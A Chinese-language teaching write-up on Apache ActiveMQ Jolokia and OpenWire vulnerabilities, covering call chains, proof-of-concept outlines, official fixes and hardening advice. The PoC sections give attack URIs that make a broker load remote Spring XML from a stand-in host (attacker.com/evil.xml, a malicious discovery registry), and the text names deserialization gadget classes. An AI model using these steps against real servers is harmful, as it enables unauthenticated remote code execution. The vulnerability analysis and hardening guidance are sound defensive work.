ActiveMQ Jolokia 相关漏洞深入分析与利用教学文档

前言

本教学文档基于对《近期ActiveMQ Jolokia的两个漏洞以及部分历史漏洞分析》技术文章的深度解读与知识提取，旨在系统性地阐述ActiveMQ及其Jolokia组件中一系列安全漏洞的原理、利用方式与防御措施。文档将涵盖CVE-2026-34197、CVE-2026-40466、CVE-2023-46604及CVE-2022-41678等关键漏洞，并提供详尽的分析、POC（概念验证）思路及修复方案。

第一章：核心概念与技术背景

在深入分析漏洞前，必须理解几个核心组件的工作机制。

1.1 JMX (Java Management Extensions)

JMX是用于管理和监控Java应用程序的标准框架。在ActiveMQ中，其核心组件（如Broker、Queue、Topic、连接数等）均以MBeans的形式存在于内存中。JMX允许管理员动态调用这些MBeans暴露的方法或修改其属性，而无需重启应用，其功能类似于Java Agent内存马，但通过标准接口进行操作。

1.2 Jolokia

Jolokia是一个将JMX操作转换为HTTP/JSON格式的“桥梁”或“适配器”。它允许外部系统（如监控工具Prometheus、Zabbix）或管理员通过简单的HTTP请求来执行JMX操作。ActiveMQ默认在Web管理界面（通常为http://IP:8161/api/jolokia）集成Jolokia插件，Web界面的许多操作（如图表查看、队列删除）实质是通过Jolokia转发JMX命令完成的。

1.3 Transport Connectors

这是ActiveMQ的核心网络组件，定义了客户端（生产者/消费者）与消息代理（Broker）之间的通信协议。常见类型包括：

• TCP：最常用、默认的连接方式。
• NIO：基于TCP的非阻塞IO，适合高并发。
• HTTP/HTTPS：允许穿越防火墙。
• VM：一种特殊的内部连接方式，当生产者、消费者和Broker运行在同一个JVM进程内时使用，无需网络通信，速度极快。VM协议是后续多个漏洞利用的关键。

1.4 XBean

Apache XBean是一个用于简化Spring XML配置的框架。XBean风格的配置最终会被转换为标准的Spring XML。在漏洞利用中，攻击者通过控制XBean配置的加载，可以触发Spring bean的init-method，从而执行任意方法。

第二章：CVE-2026-34197 Jolokia RCE漏洞分析

2.1 漏洞概述

这是一个通过Jolokia接口，滥用JMX MBean方法实现远程代码执行的漏洞。攻击者可以通过构造特定的HTTP请求，诱使ActiveMQ加载恶意的远程XML配置文件，最终执行任意命令。

2.2 漏洞入口与Jolokia配置

漏洞的入口点是org.apache.activemq.broker.jmx.BrokerView#addNetworkConnector这个JMX MBean方法。
关键在于Jolokia的访问控制配置。在默认或常见的配置中，Jolokia可能全局禁止了write和exec等危险命令，但对org.apache.activemq:*相关的MBeans启用了全部命令。这为攻击者调用addNetworkConnector方法打开了大门。

2.3 漏洞利用链分析

攻击链的核心是利用VM协议和XBean配置加载机制。以下是详细的利用步骤：

1. 触发入口：攻击者通过Jolokia HTTP接口，调用BrokerView.addNetworkConnector方法，并传入一个精心构造的URI。此URI指定使用vm传输协议，并包含brokerConfig参数指向一个恶意的远程XML配置文件地址（如http://attacker.com/evil.xml）。
2. 协议处理：addNetworkConnector方法最终会调用TransportFactory.connect处理传入的URI。当识别为vm://协议时，会交由VMTransportFactory.doCompositeConnect方法处理。
3. 解析与传递：doCompositeConnect方法会从URI中解析出brokerConfig参数的值（即恶意XML的URL），并将其传递给BrokerFactory.createBroker。
4. 配置加载：BrokerFactory（具体为XBeanBrokerFactory）会根据brokerConfig的URL，通过Spring框架加载远程的XML配置文件。
5. 恶意代码执行：加载的Spring XML中定义了恶意的Bean，并设置了init-method属性。Spring在实例化该Bean后会自动调用其init-method指向的方法，从而实现远程代码执行（例如，调用Runtime.exec()）。

关键调用链：
BrokerView.addNetworkConnector -> DiscoveryNetworkConnector.handleStart -> DiscoveryNetworkConnector.onServiceAdd -> TransportFactory.connect -> VMTransportFactory.doCompositeConnect -> BrokerFactory.createBroker -> 加载远程XML并执行init-method。

2.4 漏洞POC思路

1. 搭建一个HTTP服务器，托管恶意的Spring XML配置文件（evil.xml）。
2. 构造一个指向该XML的VM协议URI，例如：vm://localhost?brokerConfig=http://attacker.com/evil.xml。
3. 向目标ActiveMQ的Jolokia端点（如http://target:8161/api/jolokia）发送POST请求，请求体为调用addNetworkConnector操作的JSON数据，并将上述URI作为参数传入。
4. ActiveMQ处理请求，触发上述利用链，执行恶意XML中定义的命令。

2.5 修复方案

Apache官方通过两个提交修复了此漏洞：

1. 入口校验：在BrokerView.addNetworkConnector方法中，对传入的URI协议进行校验，明确禁止了vm协议。
2. 加载源白名单：在XBeanBrokerFactory中，对用于加载配置的协议进行了白名单限制，默认只允许file和classpath协议，从而阻断了通过http、https等远程协议加载XML配置的可能性。

第三章：CVE-2026-40466 Jolokia RCE漏洞（CVE-2026-34197的绕过）

3.1 漏洞概述

在CVE-2026-34197修复后不久发现的绕过漏洞。虽然修复阻止了直接通过vm://协议加载远程配置，但攻击者可以利用ActiveMQ的服务发现（Service Discovery） 机制，通过一个“两阶段”的迂回攻击实现相同的RCE效果。

3.2 漏洞原理与利用链

此漏洞利用了DiscoveryNetworkConnector和HTTPDiscoveryAgent。

1. 正常功能：DiscoveryNetworkConnector用于让Broker动态发现其他远程Broker。HTTPDiscoveryAgent会定期向一个配置好的HTTP注册表地址（Registry URL）发起请求，获取当前可用的Broker地址列表。
2. 漏洞触发：攻击者通过Jolokia调用addNetworkConnector，但这次传入的是一个基于discovery的URI，并指定一个由攻击者控制的HTTP URL作为注册中心。
3. 恶意响应：当ActiveMQ的HTTPDiscoveryAgent轮询攻击者控制的URL时，攻击者服务器返回的响应内容不是正常的Broker地址，而是一行包含恶意vm://...?brokerConfig=http://attacker.com/evil.xml的URI。
4. 漏洞利用：ActiveMQ将注册表返回的每一行都当作可信的transport URI处理。当DiscoveryNetworkConnector收到这个“服务地址”时，会回调onServiceAdd方法尝试与之建立连接。后续流程与CVE-2026-34197完全一致：解析vm协议 -> 提取brokerConfig -> 加载远程XML -> 执行命令。

核心问题：ActiveMQ无条件信任了从外部HTTP注册表获取的URI，并直接将其用于建立网络连接，而没有进行二次安全校验。

3.3 漏洞POC思路

1. 准备恶意XML配置文件（evil.xml）并托管。
2. 搭建一个恶意HTTP服务器，当收到ActiveMQ的轮询请求时，返回响应体内容为：vm://localhost?brokerConfig=http://attacker.com/evil.xml。
3. 通过Jolokia调用addNetworkConnector，传入类似 discovery:(http://attacker-registry.com/discovery) 的URI。
4. ActiveMQ会向攻击者的注册表发起请求，获取恶意URI，进而触发RCE。

第四章：CVE-2023-46604 反序列化漏洞（经典OpenWire协议漏洞）

4.1 漏洞概述

这是一个存在于ActiveMQ OpenWire协议反序列化过程中的高危漏洞，允许未经身份验证的远程攻击者通过构造特殊的报文，在目标服务器上执行任意代码。

4.2 漏洞原理

漏洞位于OpenWire协议的反序列化逻辑中。在BaseDataStreamMarshaller.createThrowable方法中，存在一个危险的调用：clazz.getConstructor(String.class).newInstance(message)。这意味着攻击者可以实例化任何拥有单个String类型参数的公共构造函数的类。

利用链核心：

1. 控制数据流：攻击者通过Socket向ActiveMQ的OpenWire端口（默认为61616）发送恶意构造的数据包。
2. 引导反序列化路径：通过设置数据包中的dataType等字段，引导反序列化过程进入ExceptionResponseMarshaller或ConnectionErrorMarshaller的looseUnmarshal或tightUnmarshal方法。
3. 控制类与参数：在上述Marshaller的反序列化过程中，会从数据流中读取clazzName（类名）和message（字符串参数）的值。
4. 触发实例化：最终调用Class.forName(clazzName).getConstructor(String.class).newInstance(message)，实现任意类的实例化。

4.3 关键利用类

• 出网利用：最直接的利用类是org.springframework.context.support.ClassPathXmlApplicationContext，其构造函数参数为一个Spring XML配置文件的路径（可以是远程HTTP URL）。通过加载恶意XML实现RCE。
• 不出网利用：在不出网或依赖受限的环境中，可以寻找其他可利用的构造函数：
  • org.apache.activemq.shiro.env.IniEnvironment：其构造函数接受一个Shiro INI配置格式的字符串。该配置能够通过[main]段落为对象属性赋值，本质上调用目标的setter方法，从而构造复杂的利用链。
  • 结合IniEnvironment，可以进一步调用危险方法，例如：
    • ActiveMQObjectMessage.getObject()：可触发Java原生反序列化（需trustAllPackages=true）。
    • BasicDataSource.getConnection()：可通过BCEL ClassLoader加载字节码，或进行JDBC攻击（需对应驱动）。

4.4 漏洞修复

官方修复方案是在createThrowable方法中增加了校验逻辑，确保要实例化的类（clazz）是Throwable类或其子类，从而严格限制了可被实例化的类范围。

第五章：CVE-2022-41678 Jolokia 文件写入漏洞

5.1 漏洞概述

这是一个较早的通过Jolokia MBean进行文件写入的漏洞。与后续的RCE漏洞类似，同样是利用了Jolokia对特定MBean的宽松权限，但调用的具体MBean方法不同，最终实现的是任意文件写入。

5.2 漏洞简析

攻击者通过Jolokia接口调用存在缺陷的MBean方法，该方法可能接受路径和内容作为参数，导致攻击者能够向服务器文件系统的任意位置写入内容。如果结合其他漏洞（如写入Webshell到可访问目录），则可进一步获取服务器控制权。此漏洞揭示了系统化审计所有MBean方法暴露风险的必要性。

第六章：总结与防护建议

6.1 漏洞演化规律

从CVE-2022-41678到CVE-2026-40466，ActiveMQ Jolokia相关的漏洞呈现出清晰的演化路径：

1. 起点：MBean方法暴露导致文件写入（CVE-2022-41678）。
2. 深化：MBean方法暴露结合特定协议（VM）和配置加载机制（XBean），实现远程代码执行（CVE-2026-34197）。
3. 绕过：利用系统其他功能（服务发现）作为跳板，迂回实现已被修复的漏洞效果（CVE-2026-40466）。
4. 独立但相关：OpenWire协议的反序列化漏洞（CVE-2023-46604）展示了另一个攻击面，其利用链的终点（加载Spring XML）与Jolokia漏洞有异曲同工之妙。

6.2 安全防护措施

1. 及时更新：立即升级到已修复这些漏洞的ActiveMQ版本。
2. 加固Jolokia：
   • 严格配置Jolokia的policy或security部分，遵循最小权限原则，禁止不必要的MBean操作（特别是exec和write）。
   • 避免使用过于宽松的匹配规则（如org.apache.activemq:*）。
   • 为Jolokia端点配置强认证和授权，避免暴露在公网。
3. 网络隔离：将ActiveMQ管理端口（8161）和消息端口（61616等）限制在内部网络访问，禁止来自互联网的直接连接。
4. 安全配置：审查并禁用不必要的传输协议（Transport Connectors）和网络服务（如不需要HTTP Discovery则禁用之）。
5. 纵深防御：在Java安全管理器、容器化部署、网络防火墙等多个层面实施防护。

6.3 对AI在安全领域应用的观察

文档中提到，CVE-2026-34197漏洞是由AI辅助发现的，且作者利用AI（如GPT-5.4）快速生成了可用的POC脚本。这预示着AI在漏洞挖掘（Fuzzing、代码审计）和利用代码编写方面的能力正在迅速提升，将成为未来网络安全攻防对抗中的重要力量。防守方也需积极研究并应用AI技术进行威胁检测、漏洞预测和自动化响应。